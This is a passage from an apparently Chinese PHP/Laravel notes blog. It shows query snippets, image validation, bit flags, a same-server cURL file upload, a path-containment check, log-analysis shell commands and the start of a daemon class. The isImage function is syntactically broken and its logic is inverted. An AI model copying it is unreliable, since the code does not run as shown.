100)'</span>, [<span class="number">200</span>])</span><br><span class="line">            -&gt;get();</span><br><span class="line">    <span class="comment">// havingRaw</span></span><br><span class="line">    Product::groupBy(<span class="string">'category_id'</span>)-&gt;havingRaw(<span class="string">'COUNT(*) &gt; 1'</span>)-&gt;get();</span><br><span class="line">    <span class="comment">// orderByRaw</span></span><br><span class="line">    User::where(<span class="string">'created_at'</span>, <span class="string">'&gt;'</span>, <span class="string">'2018-11-11'</span>)</span><br><span class="line">        -&gt;orderByRaw(<span class="string">'(updated_at - created_at) desc'</span>)</span><br><span class="line">        -&gt;get();</span><br><span class="line">     $task = Task::find(<span class="number">1</span>);</span><br><span class="line">      $newTask = $task-&gt;replicate();</span><br><span class="line">      $newTask-&gt;save();</span><br><span class="line">$product = Product::find(<span class="number">1</span>);</span><br><span class="line">$product-&gt;updated_at = <span class="string">'2018-11-11 11:11:11'</span>;</span><br><span class="line">$product-&gt;save([<span class="string">'timestamps'</span> =&gt; <span class="literal">false</span>]);      </span><br><span class="line">      </span><br><span class="line">$q-&gt;where(<span class="function"><span class="keyword">function</span> (<span class="params">$query</span>) </span>&#123;</span><br><span class="line">    $query-&gt;where(<span class="string">'gender'</span>, <span class="string">'Male'</span>)-&gt;where(<span class="string">'age'</span>, <span class="string">'&gt;'</span>, <span class="number">18</span>);</span><br><span class="line">&#125;)-&gt;orWhere(<span class="function"><span class="keyword">function</span> (<span class="params">$query</span>) </span>&#123;</span><br><span class="line">    $query-&gt;where(<span class="string">'gender'</span>, <span class="string">'Female'</span>)-&gt;orWhere(<span class="string">'age'</span>, <span class="string">'&gt;='</span>, <span class="number">65</span>);</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure>
<h3 id="判断图片"><a href="#判断图片" class="headerlink" title="判断图片"></a>判断图片</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line">使用getimagesize()函数,如果不能访问 filename 指定的图像或者其不是有效的图像，getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。</span><br><span class="line">$file = $req-&gt;file(<span class="string">"imgfile"</span>);</span><br><span class="line">dump(getimagesize ($file-&gt;getRealPath()));</span><br><span class="line">array:<span class="number">7</span> [</span><br><span class="line">  <span class="number">0</span> =&gt; <span class="number">3024</span></span><br><span class="line">  <span class="number">1</span> =&gt; <span class="number">4032</span></span><br><span class="line">  <span class="number">2</span> =&gt; <span class="number">2</span></span><br><span class="line">  <span class="number">3</span> =&gt; <span class="string">"width="</span><span class="number">3024</span><span class="string">" height="</span><span class="number">4032</span><span class="string">""</span></span><br><span class="line">  <span class="string">"bits"</span> =&gt; <span class="number">8</span></span><br><span class="line">  <span class="string">"channels"</span> =&gt; <span class="number">3</span></span><br><span class="line">  <span class="string">"mime"</span> =&gt; <span class="string">"image/jpeg"</span></span><br><span class="line">]</span><br><span class="line">$imgUrl = <span class="string">"http://www.baidu.com/img/shouye_b5486898c692066bd2cbaeda86d74448.gif"</span>;</span><br><span class="line">$data = file_get_contents($imgUrl);</span><br><span class="line"><span class="comment">//echo ($data);</span></span><br><span class="line">$im = imagecreatefromstring($data);</span><br><span class="line"><span class="keyword">if</span>($im != <span class="literal">false</span>)&#123;</span><br><span class="line">    echo <span class="string">'&lt;p&gt;图片正常...&lt;/p&gt;'</span>;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    echo <span class="string">'&lt;p&gt;图片已损坏...&lt;/p&gt;'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_img_by_source</span>(<span class="params">$source</span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">switch</span>(bin2hex(substr($source,<span class="number">0</span>,<span class="number">2</span>)))&#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">'ffd8'</span> : <span class="keyword">return</span> <span class="string">'ffd9'</span> === bin2hex(substr($source,<span class="number">-2</span>));</span><br><span class="line">            <span class="keyword">case</span> <span class="string">'8950'</span> : <span class="keyword">return</span> <span class="string">'6082'</span> === bin2hex(substr($source,<span class="number">-2</span>));</span><br><span class="line">            <span class="keyword">case</span> <span class="string">'4749'</span> : <span class="keyword">return</span> <span class="string">'003b'</span> === bin2hex(substr($source,<span class="number">-2</span>));</span><br><span class="line">            <span class="keyword">default</span> : <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">var_dump(check_img_by_source(file_get_contents(<span class="string">'11.gif'</span>));</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isImage</span>(<span class="params">$filename</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $types = <span class="string">'.gif|.jpeg|.png|.bmp'</span>;  <span class="comment">//定义检查的图片类型</span></span><br><span class="line">    <span class="keyword">if</span>(file_exists($filename))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (($info = @getimagesize($filename))</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        $ext = image_type_to_extension($info[<span class="string">'2'</span>]);</span><br><span class="line">        <span class="keyword">return</span> stripos($types,$ext);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(isImage(<span class="string">'isimg.txt'</span>)!==<span class="literal">false</span>)</span><br><span class="line">&#123;</span><br><span class="line">    echo isImage(<span class="string">'1.jpg'</span>);</span><br><span class="line">    echo <span class="string">'是图片'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">    echo <span class="string">'不是图片'</span>;</span><br><span class="line">&#125;</span><br><span class="line">$mimetype = exif_imagetype(<span class="string">"1.jpg"</span>);</span><br><span class="line"><span class="keyword">if</span> ($mimetype == IMAGETYPE_GIF || $mimetype == IMAGETYPE_JPEG || $mimetype == IMAGETYPE_PNG || $mimetype == IMAGETYPE_BMP)</span><br><span class="line">&#123;</span><br><span class="line">    echo <span class="string">"是图片"</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="位运算"><a href="#位运算" class="headerlink" title="位运算"></a>位运算</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">LightControl</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">const</span> TURN_ON_ALL = <span class="number">0b11111</span>;</span><br><span class="line">    <span class="keyword">const</span> KITCHEN     = <span class="number">0b10000</span>;</span><br><span class="line">    <span class="keyword">const</span> SECOND_LIE  = <span class="number">0b01000</span>;</span><br><span class="line">    <span class="keyword">const</span> DINING_ROOM = <span class="number">0b00100</span>;</span><br><span class="line">    <span class="keyword">const</span> LIVING_ROOM = <span class="number">0b00010</span>;</span><br><span class="line">    <span class="keyword">const</span> MASTER_ROOM = <span class="number">0b00001</span>;</span><br><span class="line"></span><br><span class="line">    private $options;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$options = <span class="number">0</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;options = $options;</span><br><span class="line">        echo <span class="string">'主卧'</span>, <span class="string">"\t"</span>;</span><br><span class="line">        echo <span class="string">'客厅'</span>, <span class="string">"\t"</span>;</span><br><span class="line">        echo <span class="string">'餐厅'</span>, <span class="string">"\t"</span>;</span><br><span class="line">        echo <span class="string">'次卧'</span>, <span class="string">"\t"</span>;</span><br><span class="line">        echo <span class="string">'厨房'</span>, <span class="string">"\t"</span>, PHP_EOL;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">getOptions</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;options;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">setOptions</span>(<span class="params">$options</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;options = $options;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">showOptions</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        echo self::getOption($<span class="keyword">this</span>-&gt;options, <span class="attr">self</span>::MASTER_ROOM), <span class="string">"\t"</span>;</span><br><span class="line">        echo self::getOption($<span class="keyword">this</span>-&gt;options, <span class="attr">self</span>::LIVING_ROOM), <span class="string">"\t"</span>;</span><br><span class="line">        echo self::getOption($<span class="keyword">this</span>-&gt;options, <span class="attr">self</span>::DINING_ROOM), <span class="string">"\t"</span>;</span><br><span class="line">        echo self::getOption($<span class="keyword">this</span>-&gt;options, <span class="attr">self</span>::SECOND_LIE), <span class="string">"\t"</span>;</span><br><span class="line">        echo self::getOption($<span class="keyword">this</span>-&gt;options, <span class="attr">self</span>::KITCHEN);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//获取指定灯的开关状态https://laravel-china.org/articles/22312</span></span><br><span class="line">    private <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getOption</span>(<span class="params">$options, $option</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> intval(($options &amp; $option) &gt; <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$lightControl = <span class="keyword">new</span> LightControl();</span><br><span class="line">$lightControl-&gt;showOptions();</span><br><span class="line">主卧  客厅  餐厅  次卧  厨房  </span><br><span class="line"><span class="number">0</span>   <span class="number">0</span>   <span class="number">0</span>   <span class="number">0</span>   <span class="number">0</span></span><br><span class="line">$lightControl = <span class="keyword">new</span> LightControl(LightControl::TURN_ON_ALL ^ LightControl::KITCHEN);</span><br><span class="line">$lightControl-&gt;showOptions();</span><br><span class="line">主卧  客厅  餐厅  次卧  厨房  </span><br><span class="line"><span class="number">1</span>   <span class="number">1</span>   <span class="number">1</span>   <span class="number">1</span>   <span class="number">0</span></span><br></pre></td></tr></table></figure>
<h3 id="CURL-发送文件"><a href="#CURL-发送文件" class="headerlink" title="CURL 发送文件"></a>CURL 发送文件</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">&lt;form action=<span class="string">"/testFile"</span> method=<span class="string">"post"</span> enctype=<span class="string">"multipart/form-data"</span>&gt;</span><br><span class="line">    &lt;input type=<span class="string">"file"</span> name=<span class="string">"file"</span> /&gt;</span><br><span class="line">    &lt;input type=<span class="string">"submit"</span> /&gt;</span><br><span class="line">&lt;<span class="regexp">/form&gt;</span></span><br><span class="line"><span class="regexp">public function testFile(Request $request)&#123;</span></span><br><span class="line"><span class="regexp">        $data = array(</span></span><br><span class="line"><span class="regexp">            'file'=&gt; new \CURLFile(realpath($request-&gt;file('file')-&gt;path())),</span></span><br><span class="line"><span class="regexp">        );</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">        $ch = curl_init();</span></span><br><span class="line"><span class="regexp">        curl_setopt($ch, CURLOPT_URL,"/</span>testLoadFile<span class="string">");//此处以当前服务器为接收地址</span></span><br><span class="line"><span class="string">        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);</span></span><br><span class="line"><span class="string">        curl_setopt($ch, CURLOPT_TIMEOUT,10);//设置最长等待时间</span></span><br><span class="line"><span class="string">        curl_setopt($ch, CURLOPT_POST, 1);//post提交</span></span><br><span class="line"><span class="string">        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        $data = curl_exec($ch);//执行</span></span><br><span class="line"><span class="string">        if(curl_errno($ch))&#123;</span></span><br><span class="line"><span class="string">            return curl_error($ch);</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">        curl_close($ch);//释放</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        return json_encode($data);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    public function testLoadFile(Request $request)&#123;</span></span><br><span class="line"><span class="string">            if ($request-&gt;hasFile('file')) &#123;</span></span><br><span class="line"><span class="string">                if ($request-&gt;file('file')-&gt;isValid())&#123;</span></span><br><span class="line"><span class="string">                    // 上传成功</span></span><br><span class="line"><span class="string">                    // 随机名字 . 后缀</span></span><br><span class="line"><span class="string">                    $fileName = "</span>other/<span class="string">".Date("</span>YmdHis<span class="string">").substr(md5(time()),5,15)."</span>.<span class="string">".$request-&gt;file("</span>file<span class="string">")-&gt;extension();// 需要 开启php_fileinfo 扩展 否则会报错</span></span><br><span class="line"><span class="string">                    // 获取临时上传的路径（如果不存在本地，则方法调用完之后，会被删除）</span></span><br><span class="line"><span class="string">                    //$fileUrl = $request-&gt;file('file')-&gt;path();</span></span><br><span class="line"><span class="string">                    // 可选存储在本地</span></span><br><span class="line"><span class="string">                    $fileUrl = $request-&gt;file("</span>file<span class="string">")-&gt;move(__DIR__."</span>/<span class="string">",$fileName);</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">                    return ($fileUrl);</span></span><br><span class="line"><span class="string">                &#125;</span></span><br><span class="line"><span class="string">            &#125;</span></span><br><span class="line"><span class="string">            return json_encode([]);</span></span><br><span class="line"><span class="string">        &#125;</span></span><br></pre></td></tr></table></figure>
<h3 id="验证图片安全"><a href="#验证图片安全" class="headerlink" title="验证图片安全"></a>验证图片安全</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 检查某个路径是否在指定文件夹内。若为真，返回此路径，否则返回 false。</span></span><br><span class="line"><span class="comment"> * @param String $path 被检查的路径https://laravel-china.org/topics/19624</span></span><br><span class="line"><span class="comment"> * @param String $folder 文件夹的路径，$path 必须在此文件夹内</span></span><br><span class="line"><span class="comment"> * @return bool|string 失败返回 false，成功返回 $path</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkPathIsInFolder</span>(<span class="params">$path, $folder</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($path === <span class="string">''</span> OR $path === <span class="literal">null</span> OR $path === <span class="literal">false</span> OR $folder === <span class="string">''</span> OR $folder === <span class="literal">null</span> OR $folder === <span class="literal">false</span>) &#123;</span><br><span class="line">            <span class="comment">/* 不能使用 empty() 因为有可能像 "0" 这样的字符串也是有效的路径 */</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    $folderRealpath = realpath($folder);</span><br><span class="line">    $pathRealpath = realpath($path);</span><br><span class="line">    <span class="keyword">if</span> ($pathRealpath === <span class="literal">false</span> OR $folderRealpath === <span class="literal">false</span>) &#123;</span><br><span class="line">        <span class="comment">// Some of paths is empty</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    $folderRealpath = rtrim($folderRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;</span><br><span class="line">    $pathRealpath = rtrim($pathRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;</span><br><span class="line">    <span class="keyword">if</span> (strlen($pathRealpath) &lt; strlen($folderRealpath)) &#123;</span><br><span class="line">        <span class="comment">// 文件路径比文件夹路径短，那么这个文件不可能在此文件夹内。</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (substr($pathRealpath, <span class="number">0</span>, strlen($folderRealpath)) !== $folderRealpath) &#123;</span><br><span class="line">        <span class="comment">// 文件夹的路径不等于它必须位于的文件夹的路径。</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// OK</span></span><br><span class="line">    <span class="keyword">return</span> $path;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="shell-1"><a href="#shell-1" class="headerlink" title="shell"></a>shell</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、查看当天有多少个IP访问：</span><br><span class="line"></span><br><span class="line">awk <span class="string">'&#123;print $1&#125;'</span> log_file|sort|uniq|wc -l</span><br><span class="line">　　<span class="number">2</span>、查看某一个页面被访问的次数：</span><br><span class="line"></span><br><span class="line">grep <span class="string">"/index.php"</span> log_file | wc -l</span><br><span class="line">　　<span class="number">3</span>、查看每一个IP访问了多少个页面：</span><br><span class="line"></span><br><span class="line">awk <span class="string">'&#123;++S[$1]&#125; END &#123;for (a in S) print a,S[a]&#125;'</span> log_file</span><br><span class="line">　　<span class="number">4</span>、将每个IP访问的页面数进行从小到大排序：</span><br><span class="line"></span><br><span class="line">awk <span class="string">'&#123;++S[$1]&#125; END &#123;for (a in S) print S[a],a&#125;'</span> log_file | sort -n</span><br><span class="line">　　<span class="number">5</span>、查看某一个IP访问了哪些页面：</span><br><span class="line"></span><br><span class="line">grep ^<span class="number">111.111</span><span class="number">.111</span><span class="number">.111</span> log_file| awk <span class="string">'&#123;print $1,$7&#125;'</span></span><br><span class="line">　　<span class="number">6</span>、去掉搜索引擎统计当天的页面：</span><br><span class="line"></span><br><span class="line">awk <span class="string">'&#123;print $12,$1&#125;'</span> log_file | grep ^\<span class="string">"Mozilla | awk '&#123;print $2&#125;' |sort | uniq | wc -l</span></span><br><span class="line"><span class="string">　　7、查看2018年11月21日14时这一个小时内有多少IP访问：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">awk '&#123;print $4,$1&#125;' log_file | grep 21/Nov/2018:14 | awk '&#123;print $2&#125;'| sort | uniq | wc -l</span></span><br><span class="line"><span class="string">　　8、列出当天访问次数最多的IP</span></span><br><span class="line"><span class="string">表示用-分割 表示打印第一部分 将重复行去掉， -c表示前面前面加上数目 按照数字从大到小排序</span></span><br><span class="line"><span class="string">cut -d- -f 1 log_file |uniq -c | sort -rn | head -20</span></span><br></pre></td></tr></table></figure>
<h3 id="守护进程"><a href="#守护进程" class="headerlink" title="守护进程"></a>守护进程</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Deamon</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    protected $_pidFile;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;_pidFile = <span class="string">'/var/www/html/queue/public/pid.log'</span>;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;_checkPcntl();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 创建守护进程核心函数</span></span><br><span class="line"><span class="comment">     * @return string|void</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">_demonize</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (php_sapi_name() != <span class="string">'cli'</span>) &#123;</span><br><span class="line">            die(<span class="string">'Should run in CLI'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//创建子进程</span></span><br><span class="line">        $pid = pcntl_fork();</span><br><span class="line">        <span class="keyword">if</span> ($pid == <span class="number">-1</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">'fork faile'</span>;</span><br><span class="line">        &#125; elseif ($pid) &#123;</span><br><span class="line">            <span class="comment">//终止父进程</span></span><br><span class="line">            exit(<span class="string">'parent process'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//在子进程中创建新的会话</span></span><br><span class="line">        <span class="keyword">if</span> (posix_setsid() === <span class="number">-1</span>) &#123;</span><br><span class="line">            die(<span class="string">'Could not detach'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//改变工作目录</span></span><br><span class="line">        chdir(<span class="string">'/'</span>);</span><br><span class="line">        <span class="comment">//重设文件创建的掩码</span></span><br><span class="line">        umask(<span class="number">0</span>);</span><br><span class="line">        $fp = fopen($<span class="keyword">this</span>-&gt;_pidFile, <span class="string">'w'</span>) or die(<span class="string">"Can't create pid file"</span>);</span><br><span class="line">        <span class="comment">//把当前进程的id写入到文件中</span></span><br><span class="line">        fwrite($fp, posix_getpid());</span><br><span class="line">        fclose($fp);</span><br><span class="line">        <span class="comment">//关闭文件描述符</span></span><br><span class="line">        fclose(STDIN);</span><br><span class="line">        fclose(STDOUT);</span><br><span class="line">        fclose(STDERR);</span><br><span class="line">        <span class="comment">//运行守护进程的逻辑</span></span><br><span class="line">        $<span class="keyword">this</span>-&gt;job();</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span 